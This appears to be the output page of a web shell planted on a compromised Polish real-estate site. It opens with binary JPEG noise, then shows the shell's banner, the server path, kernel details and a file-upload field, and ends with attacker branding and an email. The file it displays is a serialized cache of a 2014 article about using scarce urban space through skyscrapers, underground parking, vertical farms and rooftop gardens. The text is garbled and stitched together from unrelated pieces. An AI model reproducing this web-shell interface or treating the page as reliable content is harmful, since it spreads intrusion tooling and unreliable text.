JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/3d/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/3d/3d34758112d3cf4db87d14124019bf8d.bin

a:2:{i:0;a:2:{i:0;s:14760:" 
                    
                    <h3 class="title" itemprop="headline">Miasto przyszłości, czyli grunt to pomysłowość</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 20-05-2014, 00:00</strong>
                        <meta itemprop="dateModified" content=" 20-05-2014, 00:00"/>
                        <div class="hide" itemprop="description">
	Brasilia, Dubaj, Abidżan &ndash; co je łączy? To metropolie, kt&oacute;re jeszcze kilkadziesiąt lat temu nie istniały. Budynki, ulice i parki w tych miastach powstały niemal od zera. W dużych aglomeracjach to rzadki luksus.&nbsp;</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="nieruchomosci.biz">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.nieruchomosci.biz/images/loga/nieruchomosci.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/28438/crop/800x600/dd330158b7-794266001571970949.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.nieruchomosci.biz/artykuly/szczegoly/28438"/>
                        
                                        </p>

                    <div class="lorem">
                        <p>
	<strong>Brasilia, Dubaj, Abidżan – co je łączy? To metropolie, które jeszcze kilkadziesiąt lat temu nie istniały. Budynki, ulice i parki w tych miastach powstały niemal od zera. W dużych aglomeracjach to rzadki luksus. Zwłaszcza w ich gęsto zabudowanych centrach, gdzie najbardziej deficytowym towarem jest wolny kawałek przestrzeni. Nie tylko w Singapurze czy Nowym Jorku, ale także w największych polskich miastach poszukiwanie alternatywy dla skrawka ziemi bywa testem dla ludzkiej pomysłowości.</strong></p><table align="right" border="0" cellpadding="1" cellspacing="1" style="width:250px;">
	<tbody>
		<tr>
			<td>
				<img alt="f" src="https://common.v-manager.pl/uploads/source/articles/28438/0_upload_fd2760388a.webp" style="width:250px;height:166px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td style="text-align:center;">
				<em>źródło: flickr<br />
				autor: Yuya Sekiguchi</em></td>
		</tr>
	</tbody>
</table><p>
	Brak przestrzeni w miastach doskwiera nam coraz bardziej, ale nie jest to bynajmniej nowy problem. Zachodnie aglomeracje już dawno osiągnęły rozmiary, które zmuszały inwestorów i mieszkańców do niekończących się kompromisów. Z czasem do miast europejskich i amerykańskich dołączyła cała plejada głównie azjatyckich metropolii. Wraz z rosnącą liczbą mieszkańców rosło też zapotrzebowanie na przestrzeń, której tymczasem stale ubywało. Zdaniem Amiego Szmelcmana z paryskiej pracowni Gottesman-Szmelcman Architecture, mimo że brak przestrzeni to kłopot dla architekta i inwestora, wyzwala też dużą kreatywność.</p><p>
	– Często architektoniczne koncepcje rodziły się właśnie dzięki ograniczeniom. Dzięki próbom rozwiązania problemów w sposób najbardziej funkcjonalny i ekonomiczny – wyjaśnia mi Szmelcman. Historia zdaje się potwierdzać jego słowa. Gdy okazało się, że wybudowanie mieszkania, zaparkowanie samochodu czy zasadzenie marchewki wymagałoby co najmniej sporu o miedzę z sąsiadem a zazwyczaj aneksji jego działki, inwestorzy i mieszkańcy zwrócili oczy ku niebu i… ziemi. Poszukiwanie wolnych gruntów zostało zastąpione przez pomysły na konstrukcje podziemne, wykorzystanie dachów i tworzenie coraz wyższych budynków.</p><p>
	<strong>Na początku był wieżowiec</strong></p><p>
	William Le Baron Jeney to nazwisko, które kojarzy niewiele osób. A to właśnie on odcisnął największe piętno na znanym nam krajobrazie współczesnych metropolii, którego znakiem szczególnym są imponujące drapacze chmur. Choć pierwsze wieżowce powstawały już w XVI wieku, z powodów technicznych ich wysokość musiała podlegać znacznym ograniczeniom. Zmienił to dopiero tzw. szkielet chicagowski – opracowana przez Le Barona Jeneya stalowa konstrukcja brała na siebie część ciężaru powstających ścian. Był koniec XIX wieku. Od tego czasu kolejne drapacze chmur w USA – głównie Chicago i Nowym Jorku – zaczęły rosnąć jak grzyby po deszczu. Stwierdzenie „sky is the limit” zyskało bardzo praktyczny wymiar.</p><p>
	Podbijanie nieba nie mogło jednak stanowić odpowiedzi na wszystkie kłopoty, z jakimi borykali się mieszkańcy przeludnionych miast. Gdy Le Baron Jeney projektował Home Insurance Building – pierwszy nowoczesny wieżowiec – Karl Benz budował dopiero swój pierwszy trzykołowy automobil. Z czasem pojazdy mechaniczne trafiły także pod miejskie strzechy, a urbaniści zaczęli się głowić nad tym, jak je pomieścić w gęsto zabudowanych okolicach.</p><p>
	Na prosty, a jak się z czasem okazało, rewolucyjny pomysł, wpadł Louis Lesser – deweloper, któremu przyszło budować parkingi dla California State University w Los Angeles. Uczelnia nie dysponowała terenem, na którym parkingi mogły powstać. Lesser postanowił zatem poszukać miejsc parkingowych… pod ziemią. W ten sposób dał początek podziemnym parkingom, które weszły do kanonu rozwiązań konstrukcyjnych. </p><p>
	Na podziemne parkingi stawia coraz więcej polskich samorządów – budowane pod placami, czy boiskami, mają odciążyć centra takich miast jak Warszawa, Kraków czy Wrocław. Nie sposób też wyobrazić sobie dużych inwestycji mieszkaniowych, pozbawionych takich parkingów. Pod powstającym w Krakowie zespołem apartamentów Angel Wawel mieszkańcy zaparkują 240 samochodów. – Podziemny parking jest w tym wypadku ważny m.in. ze względów estetycznych i praktycznych, samochody nie są widoczne z zewnątrz i są chronione przed działaniem warunków atmosferycznych – tłumaczy Sebastian Bieńkowski, menadżer projektu Angel Wawel. –  Podziemny parking pozwala też na wybudowanie większej liczby mieszkań, czego w historycznym centrum miasta nie można osiągnąć przez podwyższanie budynku – dodaje.</p><p>
	<strong>Drzewa rosną do nieba</strong></p><p>
	Tego ostatniego problemu nie mają z pewnością mieszkańcy Szanghaju czy Singapuru. W okolicy zdominowanej przez wieżowce kolejne drapacze chmur to naturalna kolej rzeczy. Budowa coraz wyższych budynków zapewnia mieszkańcom miejsce do życia i pracy, ale nie pozostawia wiele przestrzeni na cokolwiek więcej.</p><p>
	Szczególny jest w tym wypadku przypadek Singapuru – kraju, a zarazem miasta, w którym gęstość zaludnienia jest ponad dwukrotnie większa niż w Warszawie. Nie może zatem dziwić, że miejscowi producenci zaspokajają tylko kilka procent lokalnego zapotrzebowania na warzywa. Wydaje się jednak, że znaleziono przynajmniej częściowe rozwiązanie także tego problemu. W kraju, w którym łatwiej o wieżowiec niż o pole uprawne zaczęto hodować rośliny… na pionowych „farmach”. Każda z takich farm ma ok. 10 metrów wysokości, a rośliny dojrzewają na kolejnych piętrach, których nachylenie jest regulowane w zależności od nasłonecznienia. Pierwszą tego typu farmę wybudowała firma Sky Greens, a przedsięwzięcie zyskało poparcie miejscowego rządu.</p><p>
	<strong>Dachowanie</strong></p><p>
	Uprawa roślin w mieście nie zawsze odbywa się w tak ekstremalnych warunkach, przy użyciu technologii rodem z filmów science-fiction. Mieszkańcy, którzy nie mają szans na własny ogródek, a chcieliby się zatroszczyć choćby o kilka grządek, coraz częściej spoglądają w stronę dachów. Takie rozwiązanie zyskuje popularność zwłaszcza za oceanem. – Dachy są rzadko wykorzystywane, dzięki czemu można je wynająć taniej niż kawałek gruntu  – wyjaśnia mi Anastasia Cole Plakias, współzałożycielka Brooklyn Grange Rooftop Farms w Nowym Jorku. – My szukamy dachów, które wytrzymają ciężar farmy. Dzięki temu koszt jej założenia jest niewielki – tłumaczy. W jeszcze lepszej sytuacji są założyciele Hell’s Kitchen  Farm Project. – Budynek, na którym założyliśmy farmę stanowi własność osób, które zaangażowały się w projekt, a to znacznie obniżyło koszty – mówi Lauren Baccus, reprezentująca Hell’s Kitchen. Zdaniem obu kobiet pomysł przeznaczania dachów zyskuje na popularności. W Stanach kolejne powstają w Nowym Jorku, Bostonie i Chicago. Poza USA m.in. w Danii, Holandii i w krajach azjatyckich – wylicza Cole Plakias.</p><p>
	Ogród to nie jedyny pomysł na wykorzystanie powierzchni dachu. Przyzwyczailiśmy się już do tego, że na szczycie budynku można umiejscowić także basen. Brak dostępnych lokalizacji i wysokie ceny sprawiają, że właśnie na dachach powstają boiska. Mało kto jednak wie, że na dachach powstają także biura i domy… W takich inwestycjach celują Chińczycy. W mieście Zhuzhou biura dla pracowników agencji nieruchomości powstały na dachu centrum handlowego! Na podobny pomysł wpadł deweloper w Hengyang, który na dachu marketu ulokował całe osiedle luksusowych willi. W tym wypadku jednak budowa okazała się nielegalna i opustoszałe domy zostały zajęte przez mieszkańców przybywających z prowincji.</p><p>
	<strong>W górę, w dół, na skos?</strong></p><p>
	Kopiemy w głąb ziemi, budujemy ku niebu, w poziomie już dawno dotarliśmy do ściany. Mimo że wolne miejsce w miastach stale się kurczy, jak dotąd sprytnie znajdujemy przestrzeń tam, gdzie pozornie nawet główka od szpilki nie ma prawa się zmieścić. Czy w końcu nasza dobra passa się skończy i dożyjemy czasu, gdy miasta nie pomieszczą już nic więcej? Zdaniem Amiego Szmeclmana, który zaprojektował m.in. krakowski zespół apartamentów Angel Wawel, los oszczędzi nam takiego dyskomfortu. – Myślę, że jeszcze daleko nam do punktu, w którym problemów z brakiem przestrzeni nie będziemy w stanie rozwiązać. Pomysłowości wystarczy nam na pokolenia – zapewnia. – A jeśli kiedyś miejsce się skończy, mogą nam pomóc nowe technologie, które już dzisiaj zmieniają nasze funkcjonowanie. Urbaniści dostosują wtedy swoje plany do zmian społecznych, nie będą tworzyć megalopolis – kończy.</p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            <i>Tomasz Biegański</i>
                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=miasto" class="label label-default">miasto</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=parking+podziemny" class="label label-default">parking podziemny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wieżowiec" class="label label-default">wieżowiec</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=aglomeracja" class="label label-default">aglomeracja</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=przestrzeń" class="label label-default">przestrzeń</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=ogród+na+dachu" class="label label-default">ogród na dachu</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=metropolia" class="label label-default">metropolia</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=drapacz+chmur" class="label label-default">drapacz chmur</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wykorzystanie+dachu" class="label label-default">wykorzystanie dachu</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.nieruchomosci.biz/artykuly/szczegoly/28438_miasto-przyszlosci-czyli-grunt-to-pomyslowosc" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_28438";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"33732b0befeaeeeddebe2e922e21604f";s:21:"0.66333300 1746375773";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com